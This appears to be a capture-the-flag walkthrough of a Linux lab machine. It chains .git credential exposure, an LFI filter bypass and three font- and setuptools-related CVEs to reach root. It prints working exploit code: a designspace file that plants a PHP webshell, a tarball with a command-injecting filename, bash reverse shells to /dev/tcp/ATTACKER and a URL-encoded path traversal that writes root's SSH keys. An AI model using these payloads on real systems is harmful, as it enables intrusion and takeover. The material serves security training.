Machine Info

  • Name: VariaType
  • IP: 10.129.6.221
  • OS: Linux (Debian 12)
  • Difficulty: Medium
  • Key Skills: Git Exposure, LFI via str_replace bypass, CVE-2025-66034 (fonttools varLib path traversal), CVE-2024-25081 (FontForge command injection), CVE-2025-47273 (setuptools PackageIndex path traversal)

Summary

VariaType is a Linux box running a Flask-based variable font generator backed by fonttools, alongside a PHP internal validation portal. Subdomain enumeration reveals portal.variatype.htb with an exposed .git directory leaking credentials for the portal login. The portal’s download.php has a path traversal via insufficient str_replace("../", "") sanitization, bypassed with ....//. Reading the Flask app source reveals it calls fonttools varLib (the CLI entrypoint triggering varLib.main()) on user-supplied .designspace files. CVE-2025-66034 allows path traversal in the <variable-font filename="..."> attribute, writing the compiled font (with embedded PHP payload via <labelname> CDATA) as a .php file to the portal webroot for RCE as www-data. A cronjob run by user steve processes font files with FontForge - CVE-2024-25081 allows command injection via crafted filenames inside tar archives. Finally, steve has sudo access to a Python script using setuptools.package_index.PackageIndex.download() - CVE-2025-47273 uses %2F URL encoding to bypass basename extraction and write an SSH key to /root/.ssh/authorized_keys.

Attack Chain:

Vhost discovery -> portal.variatype.htb -> .git exposure -> gitbot creds ->
LFI download.php (....// bypass) -> read Flask source -> CVE-2025-66034
fonttools webshell -> www-data -> CVE-2024-25081 FontForge tar injection ->
steve -> CVE-2025-47273 setuptools path traversal -> root

Reconnaissance

Port Scan

nmap -sC -sV --top-ports 1000 -T4 10.129.6.221

Key open ports:

  • 22 - OpenSSH 9.2p1 Debian 2+deb12u7
  • 80 - nginx 1.22.1 redirecting to http://variatype.htb/

Web Application

The main site is a Flask app - a corporate page for “VariaType Labs” offering variable font generation services. The tool at /tools/variable-font-generator accepts .designspace XML files and master font uploads (.ttf/.otf), processes them with fonttools, and returns a compiled variable font.

Vhost Discovery

ffuf -u http://variatype.htb/ \
  -H "Host: FUZZ.variatype.htb" \
  -w subdomains-top1million-5000.txt -ac

Discovers portal.variatype.htb - an internal validation portal with a login form.


Foothold - Git Exposure and Portal Access

Exposed .git Directory

Directory enumeration on the portal reveals /.git/HEAD returns 200:

curl -s http://portal.variatype.htb/.git/HEAD
# ref: refs/heads/master

curl -s http://portal.variatype.htb/.git/refs/heads/master
# 753b5f5957f2020480a19bf29a0ebc80267a4a3d

Dumping the git objects reveals two commits. The latest commit (“fix: add gitbot user for automated validation pipeline”) adds hardcoded credentials to auth.php:

<?php
session_start();
$USERS = [
    'gitbot' => 'G1tB0t_Acc3ss_2025!'
];

Portal Login

Logging into portal.variatype.htb with gitbot:G1tB0t_Acc3ss_2025! reveals a dashboard listing font files generated by the main app. Two key endpoints:

  • view.php?f= - strict regex validation ^[a-zA-Z0-9._-]+$
  • download.php?f= - uses str_replace("../", "", $file) - bypassable

LFI via download.php

The download.php source (read via the LFI itself):

$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;

Single-pass str_replace is bypassed with ....// which becomes ../ after stripping:

curl -s -b cookies.txt \
  'http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//passwd'

This confirms users: steve (uid 1000, /bin/bash), variatype (service account).

Reading the Flask Source

Using the LFI to read /etc/systemd/system/variatype.service reveals the Flask app at /opt/variatype/app.py. The critical code:

subprocess.run(
    ['fonttools', 'varLib', 'config.designspace'],
    cwd=workdir, check=True, timeout=30
)

This calls fonttools varLib which invokes fontTools.varLib.main() - the function vulnerable to CVE-2025-66034.


www-data Shell - CVE-2025-66034 (fonttools varLib Path Traversal)

Building Valid Fonts

The exploit requires compilation to succeed. Create minimal interpolatable fonts locally:

from fontTools.fontBuilder import FontBuilder
from fontTools.ttLib.tables._g_l_y_f import Glyph

def make_font(path):
    fb = FontBuilder(1000, isTTF=True)
    fb.setupGlyphOrder(['.notdef', 'space'])
    fb.setupCharacterMap({32: 'space'})
    fb.setupGlyf({})
    fb.font['glyf']['.notdef'] = Glyph()
    fb.font['glyf']['space'] = Glyph()
    fb.setupHorizontalMetrics({'space': (250, 0), '.notdef': (500, 0)})
    fb.setupHorizontalHeader()
    fb.setupNameTable({'familyName': 'Test', 'styleName': 'Regular'})
    fb.setupOS2()
    fb.setupPost()
    fb.setupHead(unitsPerEm=1000)
    fb.font.save(path)

make_font('Regular.ttf')
make_font('Bold.ttf')

Crafting the Malicious Designspace

The <variable-font filename="..."> attribute controls the output path. Combined with PHP payload injection via <labelname> CDATA:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="400" maximum="700" default="400">
      <labelname xml:lang="en">
        <![CDATA[<?php system($_GET['cmd']); ?>]]>
      </labelname>
    </axis>
  </axes>
  <sources>
    <source filename="Regular.ttf" familyname="Test" stylename="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
    <source filename="Bold.ttf" familyname="Test" stylename="Bold">
      <location><dimension name="Weight" xvalue="700"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="Pwned"
      filename="../../../var/www/portal.variatype.htb/public/cmd.php">
      <axis-subsets><axis-subset name="Weight"/></axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Uploading and Triggering

curl -X POST http://variatype.htb/tools/variable-font-generator/process \
  -F '[email protected]' \
  -F '[email protected];filename=Regular.ttf' \
  -F '[email protected];filename=Bold.ttf'
# HTTP 200 - "Processing completed."

fonttools writes the compiled font (containing the embedded PHP tags in the name table) to cmd.php in the portal webroot. Accessing it executes PHP:

curl 'http://portal.variatype.htb/cmd.php?cmd=id' -o output.bin
strings output.bin | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Trigger a reverse shell:

curl 'http://portal.variatype.htb/cmd.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261"'

User Flag - CVE-2024-25081 (FontForge Command Injection)

Discovery

A backup script at /opt/process_client_submissions.bak (owned by steve) reveals a cronjob that processes font files from the portal files directory using FontForge:

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
# ...
timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')

The script validates filenames with ^[a-zA-Z0-9._-]+$ but also processes .tar.gz archives. FontForge (CVE-2024-25081) has command injection when handling filenames inside archives - it passes them to system() unsanitized.

Exploit

Create a tar.gz containing an SFD file with shell metacharacters in the filename:

import tarfile, io
sfd = b"SplineFontDB: 3.0\nFontName: t\n"
t = tarfile.open("/tmp/exploit.tar.gz", "w:gz")
i = tarfile.TarInfo(name=";bash /tmp/rev.sh;.sfd")
i.size = len(sfd)
t.addfile(i, io.BytesIO(sfd))
t.close()

Place the rev.sh and tar.gz via the webshell:

# Create reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER/4445 0>&1' > /tmp/rev.sh
chmod +x /tmp/rev.sh

# Place exploit in watched directory
cp /tmp/exploit.tar.gz /var/www/portal.variatype.htb/public/files/exploit.tar.gz

The tar filename passes the regex check. When the cron runs, FontForge extracts the archive and the malicious filename ;bash /tmp/rev.sh;.sfd triggers command injection.

steve@variatype:~$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)

steve@variatype:~$ cat /home/steve/user.txt
d9b0939aff6b22faa316048919de2544

Root Flag - CVE-2025-47273 (setuptools PackageIndex Path Traversal)

Discovery

Steve has sudo NOPASSWD for a Python script:

(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

The script uses setuptools.package_index.PackageIndex().download(url, PLUGIN_DIR) with setuptools 78.1.0 (vulnerable, patched in 78.1.1).

Vulnerability Analysis

In _download_url(), the filename is extracted via egg_info_for_url():

base = urllib.parse.unquote(path.split('/')[-1])

The key: path.split('/') splits on literal /, but %2F is NOT a literal /. After splitting, unquote() decodes %2F to /. This produces an absolute path starting with /, and os.path.join(tmpdir, '/absolute/path') discards tmpdir entirely.

The .. sanitization loop doesn’t help because no .. is needed.

Exploit

Generate an SSH keypair and serve the public key:

ssh-keygen -t ed25519 -f variatype_key -N ''
python3 -m http.server 8000  # serving authorized_keys

Trigger the path traversal to write to root’s authorized_keys:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  'http://ATTACKER:8000/%2Froot%2F.ssh%2Fauthorized_keys'
# Plugin installed at: /root/.ssh/authorized_keys

The URL http://ATTACKER:8000/%2Froot%2F.ssh%2Fauthorized_keys:

  1. urlparse path = /%2Froot%2F.ssh%2Fauthorized_keys
  2. split('/')[-1] = %2Froot%2F.ssh%2Fauthorized_keys (no literal / to split)
  3. unquote() = /root/.ssh/authorized_keys (absolute path!)
  4. os.path.join(PLUGIN_DIR, '/root/.ssh/authorized_keys') = /root/.ssh/authorized_keys

SSH in as root:

ssh -i variatype_key [email protected]
root@variatype:~# cat /root/root.txt
eddd43a5b6232839dad62969a8b2d2b7

Key Takeaways

  • Git exposure on subdomains is a common source of credential leaks - always check for /.git/HEAD
  • str_replace for path sanitization is fundamentally broken - use basename() or realpath() validation instead
  • CVE-2025-66034 shows why user-controlled XML attributes should never influence file paths in fonttools - the fix was a single os.path.basename() call
  • CVE-2024-25081 demonstrates the danger of processing untrusted archives with tools that use system() internally
  • CVE-2025-47273 is a subtle URL encoding attack: %2F survives split('/') but becomes / after unquote(), turning a relative filename into an absolute path that overrides os.path.join()’s base directory